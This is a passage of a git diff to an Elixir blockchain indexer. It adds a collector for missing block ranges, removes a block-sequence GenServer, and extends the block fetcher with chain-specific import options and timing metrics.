## Returns + # - `{new_boundary, ranges}` where: + # - `new_boundary`: The new search boundary for the next batch + # - `ranges`: List of ranges representing missing blocks in the searched interval + @spec fetch_missing_ranges_batch(non_neg_integer(), boolean()) :: {non_neg_integer(), [Range.t()]} + defp fetch_missing_ranges_batch(min_or_max_block, to_future?) + + defp fetch_missing_ranges_batch(min_fetched_block_number, false = _to_future?) do + from = min_fetched_block_number - 1 + to = max(min_fetched_block_number - missing_ranges_batch_size(), first_block()) + + if from >= to do + {to, Chain.missing_block_number_ranges(from..to)} + else + {min_fetched_block_number, []} + end + end + + defp fetch_missing_ranges_batch(max_fetched_block_number, true) do + to = max_fetched_block_number + 1 + from = min(max_fetched_block_number + missing_ranges_batch_size(), last_block() - 1) + + if from >= to do + {from, Chain.missing_block_number_ranges(from..to)} + else + {max_fetched_block_number, []} + end + end + + # Determines the lowest block number to start collecting missing ranges from. + # + # Takes the maximum between: + # - The minimum block number from the configured block ranges + # - The last recorded minimum missing block number from the database + @spec first_block() :: non_neg_integer() + defp first_block do + first_block_from_config = + RangesHelper.get_min_block_number_from_range_string(Application.get_env(:indexer, :block_ranges)) + + min_missing_block_number = + "min_missing_block_number" + |> LastFetchedCounter.get() + |> Decimal.to_integer() + + max(first_block_from_config, min_missing_block_number) + end + + # Retrieves the last block number from configuration or fetches the maximum + # block number from the blockchain if not configured. + @spec last_block() :: non_neg_integer() + defp last_block do + last_block = Application.get_env(:indexer, :last_block) + if last_block, do: last_block + 1, else: fetch_max_block_number_from_node() + end + + # Retrieves the highest block number from blockchain. + @spec fetch_max_block_number_from_node() :: non_neg_integer() + defp fetch_max_block_number_from_node do + json_rpc_named_arguments = Application.get_env(:indexer, :json_rpc_named_arguments) + + case EthereumJSONRPC.fetch_block_number_by_tag("latest", json_rpc_named_arguments) do + {:ok, number} -> number + _ -> 0 + end + end + + # Determines if future block checks should continue based on the configured last + # block or defaults to true if none set + defp continue_future_updating?(max_fetched_block_number) do + last_block = Application.get_env(:indexer, :last_block) + + if last_block do + max_fetched_block_number < last_block + else + true + end + end + + # Schedules the next check for missing blocks in past ranges. + # + # Sets up a timer to trigger an `:update_past` message after a configurable interval: + # - Uses `@past_check_interval` (10ms) for the initial check + # - Uses `@increased_past_check_interval` (1 minute) for subsequent checks + # + # The different intervals optimize the initial catchup while preventing excessive + # database load during normal operation. + # + # ## Parameters + # - `first_check_completed?`: Boolean indicating if the initial check has been completed + defp schedule_past_check(first_check_completed?) do + interval = if first_check_completed?, do: @increased_past_check_interval, else: @past_check_interval + + Process.send_after(self(), :update_past, interval) + end + + # Schedules the next check for missing blocks in future ranges. + # + # Sets up a timer to trigger an `:update_future` message after the configured + # `@future_check_interval` (1 minute by default). + defp schedule_future_check do + Process.send_after(self(), :update_future, @future_check_interval) + end + + defp missing_ranges_batch_size do + Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_missing_ranges_batch_size + end + + @doc """ + Parses a comma-separated string of block ranges into a structured format. + + Processes ranges in the format "from..to" or "from..latest", where: + - Regular ranges are converted to `from..to` Range structs + - "latest" ranges are converted to single integers + - Invalid ranges are filtered out during sanitization + + The ranges are sanitized to merge adjacent or overlapping ranges and remove + empty ones. + + ## Parameters + - `block_ranges_string`: A comma-separated string of block ranges (e.g. "1..100,200..300,400..latest") + + ## Returns + One of: + - `{:finite_ranges, ranges}` - When all ranges are finite (e.g. "1..100,200..300") + - `{:infinite_ranges, ranges, last_num}` - When the last range ends with "latest" + - `:no_ranges` - When no valid ranges are found + + ## Examples + iex> parse_block_ranges("1..100,200..300") + {:finite_ranges, [1..100, 200..300]} + + iex> parse_block_ranges("1..100,200..latest") + {:infinite_ranges, [1..100], 200} + + iex> parse_block_ranges("invalid") + :no_ranges + """ + @spec parse_block_ranges(binary()) :: + {:finite_ranges, [Range.t()]} | {:infinite_ranges, [Range.t()], non_neg_integer()} | :no_ranges + def parse_block_ranges(block_ranges_string) do + ranges = RangesHelper.parse_block_ranges(block_ranges_string) + + case List.last(ranges) do + _from.._to//_ -> + {:finite_ranges, ranges} + + nil -> + :no_ranges + + num -> + {:infinite_ranges, List.delete_at(ranges, -1), num - 1} + end + end +end diff --git a/apps/indexer/lib/indexer/block/catchup/sequence.ex b/apps/indexer/lib/indexer/block/catchup/sequence.ex deleted file mode 100644 index c46fec5c5375..000000000000 --- a/apps/indexer/lib/indexer/block/catchup/sequence.ex +++ /dev/null @@ -1,358 +0,0 @@ -defmodule Indexer.Block.Catchup.Sequence do - @moduledoc false - - use GenServer - - alias Indexer.{BoundQueue, Memory} - - @enforce_keys ~w(current bound_queue step)a - defstruct current: nil, - bound_queue: %BoundQueue{}, - step: nil - - @typedoc """ - The ranges to stream from the `t:Stream.t/` returned from `build_stream/1` - """ - @type ranges :: [Range.t()] - - @typep ranges_option :: {:ranges, ranges} - - @typedoc """ - The first number in the sequence to start for infinite sequences. - """ - @type first :: integer() - - @typep first_option :: {:first, first} - - @typedoc """ - * `:finite` - only popping ranges from `queue`. - * `:infinite` - generating new ranges from `current` and `step` when `queue` is empty. - """ - @type mode :: :finite | :infinite - - @typedoc """ - The size of `t:Range.t/0` to construct based on the `t:first_named_argument/0` or its current value when all - `t:prefix/0` ranges and any `t:Range.t/0`s injected with `inject_range/2` are consumed. - """ - @type step :: neg_integer() | pos_integer() - - @typep step_named_argument :: {:step, step} - - @typep memory_monitor_option :: {:memory_monitor, GenServer.server()} - - @type options :: [ranges_option | first_option | memory_monitor_option | step_named_argument] - - @typep edge :: :front | :back - - @typep range_tuple :: {first :: non_neg_integer(), last :: non_neg_integer()} - - @typep t :: %__MODULE__{ - bound_queue: BoundQueue.t(range_tuple()), - current: nil | integer(), - step: step() - } - - def child_spec([init_arguments]) do - child_spec([init_arguments, []]) - end - - def child_spec([_init_arguments, _gen_server_options] = start_link_arguments) do - spec = %{ - id: __MODULE__, - start: {__MODULE__, :start_link, start_link_arguments}, - type: :worker - } - - Supervisor.child_spec(spec, []) - end - - @doc """ - Starts a process for managing a block sequence. - - Infinite sequence - - Indexer.Block.Catchup.Sequence.start_link(first: 100, step: 10) - - Finite sequence - - Indexer.Block.Catchup.Sequence.start_link(ranges: [100..0]) - - """ - @spec start_link(options(), Keyword.t()) :: GenServer.on_start() - def start_link(init_options, gen_server_options \\ []) when is_list(init_options) and is_list(gen_server_options) do - GenServer.start_link(__MODULE__, init_options, gen_server_options) - end - - @doc """ - Builds an enumerable stream using a sequencer agent. - """ - @spec build_stream(GenServer.server()) :: Enumerable.t() - def build_stream(sequencer) do - Stream.resource( - fn -> sequencer end, - fn seq -> - case pop_front(seq) do - :halt -> {:halt, seq} - range -> {[range], seq} - end - end, - fn seq -> seq end - ) - end - - @doc """ - Changes the mode for the sequence to finite. - """ - @spec cap(GenServer.server()) :: mode - def cap(sequence) do - GenServer.call(sequence, :cap) - end - - @doc """ - Adds a range of block numbers to the end of the sequence. - """ - @spec push_back(GenServer.server(), Range.t()) :: :ok | {:error, String.t()} - def push_back(sequence, _first.._last = range) do - GenServer.call(sequence, {:push_back, range}) - end - - @doc """ - Adds a range of block numbers to the front of the sequence. - """ - @spec push_front(GenServer.server(), Range.t()) :: :ok | {:error, String.t()} - def push_front(sequence, _first.._last = range) do - GenServer.call(sequence, {:push_front, range}) - end - - @doc """ - Pops the next block range from the sequence. - """ - @spec pop_front(GenServer.server()) :: Range.t() | :halt - def pop_front(sequence) do - GenServer.call(sequence, :pop_front) - end - - @impl GenServer - @spec init(options) :: {:ok, t} - def init(options) when is_list(options) do - Process.flag(:trap_exit, true) - - shrinkable(options) - - with {:ok, %{ranges: ranges, first: first, step: step}} <- validate_options(options), - {:ok, bound_queue} <- push_chunked_ranges(%BoundQueue{}, step, ranges) do - {:ok, %__MODULE__{bound_queue: bound_queue, current: first, step: step}} - else - {:error, reason} -> - {:stop, reason} - end - end - - @impl GenServer - - @spec handle_call(:cap, GenServer.from(), %__MODULE__{current: nil}) :: {:reply, :finite, %__MODULE__{current: nil}} - @spec handle_call(:cap, GenServer.from(), %__MODULE__{current: integer()}) :: - {:reply, :infinite, %__MODULE__{current: nil}} - def handle_call(:cap, _from, %__MODULE__{current: current} = state) do - mode = - case current do - nil -> :finite - _ -> :infinite - end - - {:reply, mode, %__MODULE__{state | current: nil}} - end - - @spec handle_call({:push_back, Range.t()}, GenServer.from(), t()) :: {:reply, :ok | {:error, String.t()}, t()} - def handle_call({:push_back, _first.._last = range}, _from, %__MODULE__{bound_queue: bound_queue, step: step} = state) do - case push_chunked_range(bound_queue, step, range) do - {:ok, updated_bound_queue} -> - {:reply, :ok, %__MODULE__{state | bound_queue: updated_bound_queue}} - - {:error, _} = error -> - {:reply, error, state} - end - end - - @spec handle_call({:push_front, Range.t()}, GenServer.from(), t()) :: {:reply, :ok | {:error, String.t()}, t()} - def handle_call( - {:push_front, _first.._last = range}, - _from, - %__MODULE__{bound_queue: bound_queue, step: step} = state - ) do - case push_chunked_range(bound_queue, step, range, :front) do - {:ok, updated_bound_queue} -> - {:reply, :ok, %__MODULE__{state | bound_queue: updated_bound_queue}} - - {:error, _} = error -> - {:reply, error, state} - end - end - - @spec handle_call(:pop_front, GenServer.from(), t()) :: {:reply, Range.t() | :halt, t()} - def handle_call(:pop_front, _from, %__MODULE__{bound_queue: bound_queue, current: current, step: step} = state) do - {reply, new_state} = - case {current, BoundQueue.pop_front(bound_queue)} do - {_, {:ok, {{first, last}, new_bound_queue}}} -> - {first..last, %__MODULE__{state | bound_queue: new_bound_queue}} - - {nil, {:error, :empty}} -> - {:halt, %__MODULE__{state | bound_queue: bound_queue}} - - {_, {:error, :empty}} -> - case current + step do - new_current -> - last = new_current - 1 - {current..last, %__MODULE__{state | current: new_current, bound_queue: bound_queue}} - end - end - - {:reply, reply, new_state} - end - - @spec handle_call(:shrink, GenServer.from(), t()) :: {:reply, :ok, t()} - def handle_call(:shrink, _from, %__MODULE__{bound_queue: bound_queue} = state) do - {reply, shrunk_state} = - case BoundQueue.shrink(bound_queue) do - {:error, :minimum_size} = error -> - {error, state} - - {:ok, shrunk_bound_queue} -> - {:ok, %__MODULE__{state | bound_queue: shrunk_bound_queue}} - end - - {:reply, reply, shrunk_state, :hibernate} - end - - @spec handle_call(:shrunk?, GenServer.from(), t()) :: {:reply, boolean(), t()} - def handle_call(:shrunk?, _from, %__MODULE__{bound_queue: bound_queue} = state) do - {:reply, BoundQueue.shrunk?(bound_queue), state} - end - - @spec push_chunked_range(BoundQueue.t(Range.t()), step, Range.t(), edge()) :: - {:ok, BoundQueue.t(Range.t())} | {:error, reason :: String.t()} - defp push_chunked_range(bound_queue, step, _.._ = range, edge \\ :back) - when is_integer(step) and edge in [:back, :front] do - with {:error, [reason]} <- push_chunked_ranges(bound_queue, step, [range], edge) do - {:error, reason} - end - end - - @spec push_chunked_range(BoundQueue.t(Range.t()), step, [Range.t()], edge()) :: - {:ok, BoundQueue.t(Range.t())} | {:error, reasons :: [String.t()]} - defp push_chunked_ranges(bound_queue, step, ranges, edge \\ :back) - when is_integer(step) and is_list(ranges) and edge in [:back, :front] do - reducer = - case edge do - :back -> &BoundQueue.push_back(&2, &1) - :front -> &BoundQueue.push_front(&2, &1) - end - - reduce_chunked_ranges(ranges, step, bound_queue, reducer) - end - - defp reduce_chunked_ranges(ranges, step, initial, reducer) - when is_list(ranges) and is_integer(step) and step != 0 and is_function(reducer, 2) do - Enum.reduce(ranges, {:ok, initial}, fn - range, {:ok, acc} -> - case reduce_chunked_range(range, step, acc, reducer) do - {:ok, _} = ok -> - ok - - {:error, reason} -> - {:error, [reason]} - end - - range, {:error, acc_reasons} = acc -> - case reduce_chunked_range(range, step, initial, reducer) do - {:ok, _} -> acc - {:error, reason} -> {:error, [reason | acc_reasons]} - end - end) - end - - defp reduce_chunked_range(_.._ = range, step, initial, reducer) do - count = Enum.count(range) - reduce_chunked_range(range, count, step, initial, reducer) - end - - defp reduce_chunked_range(first..last = range, _count, step, _initial, _reducer) - when (step < 0 and first < last) or (0 < step and last < first) do - {:error, "Range (#{inspect(range)}) direction is opposite step (#{step}) direction"} - end - - defp reduce_chunked_range(first..last, count, step, initial, reducer) when count <= abs(step) do - reducer.({first, last}, initial) - end - - defp reduce_chunked_range(first..last, _, step, initial, reducer) do - {sign, comparator} = - if step > 0 do - {1, &Kernel.>=/2} - else - {-1, &Kernel.<=/2} - end - - first - |> Stream.iterate(&(&1 + step)) - |> Enum.reduce_while( - initial, - &reduce_whiler(&1, &2, %{step: step, sign: sign, comparator: comparator, last: last, reducer: reducer}) - ) - end - - defp reduce_whiler(chunk_first, acc, %{step: step, sign: sign, comparator: comparator, last: last, reducer: reducer}) do - next_chunk_first = chunk_first + step - full_chunk_last = next_chunk_first - sign - - {action, chunk_last} = - if comparator.(full_chunk_last, last) do - {:halt, last} - else - {:cont, full_chunk_last} - end - - case reducer.({chunk_first, chunk_last}, acc) do - {:ok, reduced} -> - case action do - :halt -> {:halt, {:ok, reduced}} - :cont -> {:cont, reduced} - end - - {:error, _} = error -> - {:halt, error} - end - end - - defp shrinkable(options) do - case Keyword.get(options, :memory_monitor) do - nil -> :ok - memory_monitor -> Memory.Monitor.shrinkable(memory_monitor) - end - end - - defp validate_options(options) do - step = Keyword.fetch!(options, :step) - - case {Keyword.fetch(options, :ranges), Keyword.fetch(options, :first)} do - {:error, {:ok, first}} -> - case step do - pos_integer when is_integer(pos_integer) and pos_integer > 0 -> - {:ok, %{ranges: [], first: first, step: step}} - - _ -> - {:error, ":step must be a positive integer for infinite sequences"} - end - - {{:ok, ranges}, :error} -> - {:ok, %{ranges: ranges, first: nil, step: step}} - - {{:ok, _}, {:ok, _}} -> - {:error, - ":ranges and :first cannot be set at the same time as :ranges is for :finite mode while :first is for :infinite mode"} - - {:error, :error} -> - {:error, "either :ranges or :first must be set"} - end - end -end diff --git a/apps/indexer/lib/indexer/block/catchup/supervisor.ex b/apps/indexer/lib/indexer/block/catchup/supervisor.ex index 782f134f4055..024c93c91a91 100644 --- a/apps/indexer/lib/indexer/block/catchup/supervisor.ex +++ b/apps/indexer/lib/indexer/block/catchup/supervisor.ex @@ -5,7 +5,7 @@ defmodule Indexer.Block.Catchup.Supervisor do use Supervisor - alias Indexer.Block.Catchup.BoundIntervalSupervisor + alias Indexer.Block.Catchup.{BoundIntervalSupervisor, MassiveBlocksFetcher, MissingRangesCollector} def child_spec([init_arguments]) do child_spec([init_arguments, []]) @@ -29,7 +29,9 @@ defmodule Indexer.Block.Catchup.Supervisor do def init(bound_interval_supervisor_arguments) do Supervisor.init( [ + {MissingRangesCollector, []}, {Task.Supervisor, name: Indexer.Block.Catchup.TaskSupervisor}, + {MassiveBlocksFetcher, []}, {BoundIntervalSupervisor, [bound_interval_supervisor_arguments, [name: BoundIntervalSupervisor]]} ], strategy: :one_for_one diff --git a/apps/indexer/lib/indexer/block/fetcher.ex b/apps/indexer/lib/indexer/block/fetcher.ex index 8f241dbfaf48..e051787bcb86 100644 --- a/apps/indexer/lib/indexer/block/fetcher.ex +++ b/apps/indexer/lib/indexer/block/fetcher.ex @@ -11,36 +11,63 @@ defmodule Indexer.Block.Fetcher do alias EthereumJSONRPC.{Blocks, FetchedBeneficiaries} alias Explorer.Chain - alias Explorer.Chain.{Address, Block, Hash, Import, Transaction, Wei} alias Explorer.Chain.Block.Reward alias Explorer.Chain.Cache.Blocks, as: BlocksCache alias Explorer.Chain.Cache.{Accounts, BlockNumber, Transactions, Uncles} + alias Explorer.Chain.Filecoin.PendingAddressOperation, as: FilecoinPendingAddressOperation + alias Explorer.Chain.{Address, Block, Hash, Import, Transaction, Wei} alias Indexer.Block.Fetcher.Receipts + alias Indexer.Fetcher.Arbitrum.MessagesToL2Matcher, as: ArbitrumMessagesToL2Matcher + alias Indexer.Fetcher.Celo.EpochBlockOperations, as: CeloEpochBlockOperations + alias Indexer.Fetcher.Celo.EpochLogs, as: CeloEpochLogs + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup + alias Indexer.Fetcher.CoinBalance.Realtime, as: CoinBalanceRealtime + alias Indexer.Fetcher.Filecoin.AddressInfo, as: FilecoinAddressInfo + alias Indexer.Fetcher.PolygonZkevm.BridgeL1Tokens, as: PolygonZkevmBridgeL1Tokens + alias Indexer.Fetcher.TokenInstance.Realtime, as: TokenInstanceRealtime + + alias Indexer.{Prometheus, TokenBalances, Tracer} alias Indexer.Fetcher.{ + AddressNonceUpdater, + Beacon.Blob, BlockReward, - CoinBalance, ContractCode, InternalTransaction, ReplacedTransaction, + SignedAuthorizationStatus, Token, TokenBalance, - TokenInstance, UncleBlock } - alias Indexer.Tracer - alias Indexer.Transform.{ AddressCoinBalances, - AddressCoinBalancesDaily, Addresses, AddressTokenBalances, MintTransfers, - TokenTransfers + SignedAuthorizations, + TokenInstances, + TokenTransfers, + TransactionActions } + alias Indexer.Transform.Stability.Validators, as: StabilityValidators + + alias Indexer.Transform.Optimism.Withdrawals, as: OptimismWithdrawals + + alias Indexer.Transform.Scroll.L1FeeParams, as: ScrollL1FeeParams + + alias Indexer.Transform.Arbitrum.Messaging, as: ArbitrumMessaging + alias Indexer.Transform.Shibarium.Bridge, as: ShibariumBridge + alias Indexer.Transform.Blocks, as: TransformBlocks + alias Indexer.Transform.PolygonZkevm.Bridge, as: PolygonZkevmBridge + + alias Indexer.Transform.Celo.L1Epochs, as: CeloL1Epochs + alias Indexer.Transform.Celo.L2Epochs, as: CeloL2Epochs + alias Indexer.Transform.Celo.TransactionGasTokens, as: CeloTransactionGasTokens + alias Indexer.Transform.Celo.TransactionTokenTransfers, as: CeloTransactionTokenTransfers @type address_hash_to_fetched_balance_block_number :: %{String.t() => Block.block_number()} @@ -107,7 +134,7 @@ defmodule Indexer.Block.Fetcher do end @decorate span(tracer: Tracer) - @spec fetch_and_import_range(t, Range.t()) :: + @spec fetch_and_import_range(t, Range.t(), map) :: {:ok, %{inserted: %{}, errors: [EthereumJSONRPC.Transport.error()]}} | {:error, {step :: atom(), reason :: [Ecto.Changeset.t()] | term()} @@ -118,23 +145,57 @@ defmodule Indexer.Block.Fetcher do callback_module: callback_module, json_rpc_named_arguments: json_rpc_named_arguments } = state, - _.._ = range + _.._//_ = range, + additional_options \\ %{} ) when callback_module != nil do + {fetch_time, fetch_result} = + :timer.tc(fn -> EthereumJSONRPC.fetch_blocks_by_range(range, json_rpc_named_arguments) end) + with {:blocks, {:ok, %Blocks{ blocks_params: blocks_params, transactions_params: transactions_params_without_receipts, + withdrawals_params: withdrawals_params, block_second_degree_relations_params: block_second_degree_relations_params, errors: blocks_errors - }}} <- {:blocks, EthereumJSONRPC.fetch_blocks_by_range(range, json_rpc_named_arguments)}, + } = fetched_blocks}} <- {:blocks, fetch_result}, blocks = TransformBlocks.transform_blocks(blocks_params), {:receipts, {:ok, receipt_params}} <- {:receipts, Receipts.fetch(state, transactions_params_without_receipts)}, - %{logs: logs, receipts: receipts} = receipt_params, + %{logs: receipt_logs, receipts: receipts} = receipt_params, transactions_with_receipts = Receipts.put(transactions_params_without_receipts, receipts), + celo_epoch_logs = CeloEpochLogs.fetch(blocks, json_rpc_named_arguments), + logs = maybe_set_new_log_index(receipt_logs) ++ celo_epoch_logs, %{token_transfers: token_transfers, tokens: tokens} = TokenTransfers.parse(logs), + %{token_transfers: celo_native_token_transfers, tokens: celo_tokens} = + CeloTransactionTokenTransfers.parse_transactions(transactions_with_receipts), + celo_gas_tokens = CeloTransactionGasTokens.parse(transactions_with_receipts), + token_transfers = token_transfers ++ celo_native_token_transfers, + celo_l1_epochs = CeloL1Epochs.parse(blocks), + celo_l2_epochs = CeloL2Epochs.parse(logs), + tokens = Enum.uniq(tokens ++ celo_tokens), + %{transaction_actions: transaction_actions} = TransactionActions.parse(logs), %{mint_transfers: mint_transfers} = MintTransfers.parse(logs), + optimism_withdrawals = + if(callback_module == Indexer.Block.Realtime.Fetcher, do: OptimismWithdrawals.parse(logs), else: []), + scroll_l1_fee_params = + if(callback_module == Indexer.Block.Realtime.Fetcher, + do: ScrollL1FeeParams.parse(logs), + else: [] + ), + shibarium_bridge_operations = + if(callback_module == Indexer.Block.Realtime.Fetcher, + do: ShibariumBridge.parse(blocks, transactions_with_receipts, logs), + else: [] + ), + polygon_zkevm_bridge_operations = + if(callback_module == Indexer.Block.Realtime.Fetcher, + do: PolygonZkevmBridge.parse(blocks, logs), + else: [] + ), + {arbitrum_xlevel_messages, arbitrum_transactions_for_further_handling} = + ArbitrumMessaging.parse(transactions_with_receipts, logs), %FetchedBeneficiaries{params_set: beneficiary_params_set, errors: beneficiaries_errors} = fetch_beneficiaries(blocks, transactions_with_receipts, json_rpc_named_arguments), addresses = @@ -143,48 +204,85 @@ defmodule Indexer.Block.Fetcher do blocks: blocks, logs: logs, mint_transfers: mint_transfers, + shibarium_bridge_operations: shibarium_bridge_operations, token_transfers: token_transfers, - transactions: transactions_with_receipts + transactions: transactions_with_receipts, + transaction_actions: transaction_actions, + withdrawals: withdrawals_params, + polygon_zkevm_bridge_operations: polygon_zkevm_bridge_operations }), coin_balances_params_set = %{ beneficiary_params: MapSet.to_list(beneficiary_params_set), blocks_params: blocks, logs_params: logs, - transactions_params: transactions_with_receipts + transactions_params: transactions_with_receipts, + withdrawals: withdrawals_params } |> AddressCoinBalances.params_set(), - coin_balances_params_daily_set = - %{ - coin_balances_params: coin_balances_params_set, - blocks: blocks - } - |> AddressCoinBalancesDaily.params_set(), beneficiaries_with_gas_payment = beneficiaries_with_gas_payment(blocks, beneficiary_params_set, transactions_with_receipts), - address_token_balances = AddressTokenBalances.params_set(%{token_transfers_params: token_transfers}), + token_transfers_with_token = token_transfers_merge_token(token_transfers, tokens), + address_token_balances = + AddressTokenBalances.params_set(%{token_transfers_params: token_transfers_with_token}), + transaction_actions = + Enum.map(transaction_actions, fn action -> Map.put(action, :data, Map.delete(action.data, :block_number)) end), + token_instances = TokenInstances.params_set(%{token_transfers_params: token_transfers}), + stability_validators = StabilityValidators.parse(blocks), + addresses_without_nonce = process_addresses_nonce(addresses), + basic_import_options = %{ + addresses: %{params: addresses_without_nonce}, + address_coin_balances: %{params: coin_balances_params_set}, + address_token_balances: %{params: address_token_balances}, + address_current_token_balances: %{ + params: address_token_balances |> MapSet.to_list() |> TokenBalances.to_address_current_token_balances() + }, + blocks: %{params: blocks}, + block_second_degree_relations: %{params: block_second_degree_relations_params}, + block_rewards: %{errors: beneficiaries_errors, params: beneficiaries_with_gas_payment}, + logs: %{params: logs}, + token_transfers: %{params: token_transfers}, + tokens: %{params: tokens}, + transactions: %{params: transactions_with_receipts}, + withdrawals: %{params: withdrawals_params}, + token_instances: %{params: token_instances}, + signed_authorizations: %{params: SignedAuthorizations.parse(transactions_with_receipts)} + }, + chain_type_import_options = + %{ + transactions_with_receipts: transactions_with_receipts, + optimism_withdrawals: optimism_withdrawals, + polygon_zkevm_bridge_operations: polygon_zkevm_bridge_operations, + scroll_l1_fee_params: scroll_l1_fee_params, + shibarium_bridge_operations: shibarium_bridge_operations, + celo_gas_tokens: celo_gas_tokens, + celo_epochs: celo_l1_epochs ++ celo_l2_epochs, + arbitrum_messages: arbitrum_xlevel_messages, + stability_validators: stability_validators + } + |> extend_with_zilliqa_import_options(fetched_blocks), {:ok, inserted} <- __MODULE__.import( state, - %{ - addresses: %{params: addresses}, - address_coin_balances: %{params: coin_balances_params_set}, - address_coin_balances_daily: %{params: coin_balances_params_daily_set}, - address_token_balances: %{params: address_token_balances}, - blocks: %{params: blocks}, - block_second_degree_relations: %{params: block_second_degree_relations_params}, - block_rewards: %{errors: beneficiaries_errors, params: beneficiaries_with_gas_payment}, - logs: %{params: logs}, - token_transfers: %{params: token_transfers}, - tokens: %{on_conflict: :nothing, params: tokens}, - transactions: %{params: transactions_with_receipts} - } - ) do + basic_import_options |> Map.merge(additional_options) |> import_options(chain_type_import_options) + ), + {:transaction_actions, {:ok, inserted_transaction_actions}} <- + {:transaction_actions, + Chain.import(%{ + transaction_actions: %{params: transaction_actions}, + timeout: :infinity + })} do + inserted = Map.merge(inserted, inserted_transaction_actions) + Prometheus.Instrumenter.block_batch_fetch(fetch_time, callback_module) result = {:ok, %{inserted: inserted, errors: blocks_errors}} update_block_cache(inserted[:blocks]) update_transactions_cache(inserted[:transactions]) update_addresses_cache(inserted[:addresses]) update_uncles_cache(inserted[:block_second_degree_relations]) + update_withdrawals_cache(inserted[:withdrawals]) + + async_match_arbitrum_messages_to_l2(arbitrum_transactions_for_further_handling) + result else {step, {:error, reason}} -> {:error, {step, reason}} @@ -192,6 +290,88 @@ defmodule Indexer.Block.Fetcher do end end + defp import_options(basic_import_options, chain_specific_import_options) do + chain_type = Application.get_env(:explorer, :chain_type) + do_import_options(chain_type, basic_import_options, chain_specific_import_options) + end + + defp do_import_options(:ethereum, basic_import_options, %{transactions_with_receipts: transactions_with_receipts}) do + basic_import_options + |> Map.put_new(:beacon_blob_transactions, %{ + params: transactions_with_receipts |> Enum.filter(&Map.has_key?(&1, :max_fee_per_blob_gas)) + }) + end + + defp do_import_options(:optimism, basic_import_options, %{optimism_withdrawals: optimism_withdrawals}) do + basic_import_options + |> Map.put_new(:optimism_withdrawals, %{params: optimism_withdrawals}) + end + + defp do_import_options(:polygon_zkevm, basic_import_options, %{ + polygon_zkevm_bridge_operations: polygon_zkevm_bridge_operations + }) do + basic_import_options + |> Map.put_new(:polygon_zkevm_bridge_operations, %{params: polygon_zkevm_bridge_operations}) + end + + defp do_import_options(:scroll, basic_import_options, %{scroll_l1_fee_params: scroll_l1_fee_params}) do + basic_import_options + |> Map.put_new(:scroll_l1_fee_params, %{params: scroll_l1_fee_params}) + end + + defp do_import_options(:shibarium, basic_import_options, %{shibarium_bridge_operations: shibarium_bridge_operations}) do + basic_import_options + |> Map.put_new(:shibarium_bridge_operations, %{params: shibarium_bridge_operations}) + end + + defp do_import_options(:celo, basic_import_options, %{celo_gas_tokens: celo_gas_tokens, celo_epochs: celo_epochs}) do + tokens = + basic_import_options + |> Map.get(:tokens, %{}) + |> Map.get(:params, []) + + basic_import_options + |> Map.put_new(:celo_epochs, %{params: celo_epochs}) + |> Map.put( + :tokens, + %{params: (tokens ++ celo_gas_tokens) |> Enum.uniq()} + ) + end + + defp do_import_options(:arbitrum, basic_import_options, %{arbitrum_messages: arbitrum_xlevel_messages}) do + basic_import_options + |> Map.put_new(:arbitrum_messages, %{params: arbitrum_xlevel_messages}) + end + + defp do_import_options(:zilliqa, basic_import_options, %{ + zilliqa_quorum_certificates: zilliqa_quorum_certificates, + zilliqa_aggregate_quorum_certificates: zilliqa_aggregate_quorum_certificates, + zilliqa_nested_quorum_certificates: zilliqa_nested_quorum_certificates + }) do + basic_import_options + |> Map.put_new(:zilliqa_quorum_certificates, %{params: zilliqa_quorum_certificates}) + |> Map.put_new(:zilliqa_aggregate_quorum_certificates, %{params: zilliqa_aggregate_quorum_certificates}) + |> Map.put_new(:zilliqa_nested_quorum_certificates, %{params: zilliqa_nested_quorum_certificates}) + end + + defp do_import_options(:stability, basic_import_options, %{stability_validators: stability_validators}) do + basic_import_options + |> Map.put_new(:stability_validators, %{params: stability_validators}) + end + + defp do_import_options(_chain_type, basic_import_options, _chain_specific_import_options) do + basic_import_options + end + + defp extend_with_zilliqa_import_options(chain_type_import_options, fetched_blocks) do + chain_type_import_options + |> Map.merge(%{ + zilliqa_quorum_certificates: Map.get(fetched_blocks, :zilliqa_quorum_certificates_params, []), + zilliqa_aggregate_quorum_certificates: Map.get(fetched_blocks, :zilliqa_aggregate_quorum_certificates_params, []), + zilliqa_nested_quorum_certificates: Map.get(fetched_blocks, :zilliqa_nested_quorum_certificates_params, []) + }) + end + defp update_block_cache([]), do: :ok defp update_block_cache(blocks) when is_list(blocks) do @@ -214,6 +394,15 @@ defmodule Indexer.Block.Fetcher do Uncles.update_from_second_degree_relations(updated_relations) end + defp update_withdrawals_cache([_ | _] = withdrawals) do + %{index: index} = List.last(withdrawals) + Chain.upsert_count_withdrawals(index) + end + + defp update_withdrawals_cache(_) do + :ok + end + def import( %__MODULE__{broadcast: broadcast, callback_module: callback_module} = state, options @@ -231,21 +420,42 @@ defmodule Indexer.Block.Fetcher do } ) - callback_module.import(state, options_with_broadcast) + {import_time, result} = :timer.tc(fn -> callback_module.import(state, options_with_broadcast) end) + + no_blocks_to_import = length(options_with_broadcast.blocks.params) + + if no_blocks_to_import != 0 do + Prometheus.Instrumenter.block_import(import_time / no_blocks_to_import, callback_module) + end + + result end def async_import_token_instances(%{token_transfers: token_transfers}) do - TokenInstance.async_fetch(token_transfers) + TokenInstanceRealtime.async_fetch(token_transfers) end def async_import_token_instances(_), do: :ok - def async_import_block_rewards([]), do: :ok + def async_import_blobs(%{blocks: blocks}, realtime?) do + timestamps = + blocks + |> Enum.filter(fn block -> block |> Map.get(:blob_gas_used, 0) > 0 end) + |> Enum.map(&Map.get(&1, :timestamp)) + + if not Enum.empty?(timestamps) do + Blob.async_fetch(timestamps, realtime?) + end + end + + def async_import_blobs(_, _), do: :ok - def async_import_block_rewards(errors) when is_list(errors) do + def async_import_block_rewards([], _realtime?), do: :ok + + def async_import_block_rewards(errors, realtime?) when is_list(errors) do errors |> block_reward_errors_to_block_numbers() - |> BlockReward.async_fetch() + |> BlockReward.async_fetch(realtime?) end def async_import_coin_balances(%{addresses: addresses}, %{ @@ -256,59 +466,52 @@ defmodule Indexer.Block.Fetcher do block_number = Map.fetch!(address_hash_to_block_number, to_string(address_hash)) %{address_hash: address_hash, block_number: block_number} end) - |> CoinBalance.async_fetch_balances() + |> CoinBalanceCatchup.async_fetch_balances() end def async_import_coin_balances(_, _), do: :ok - def async_import_created_contract_codes(%{transactions: transactions}) do - transactions - |> Enum.flat_map(fn - %Transaction{ - block_number: block_number, - hash: 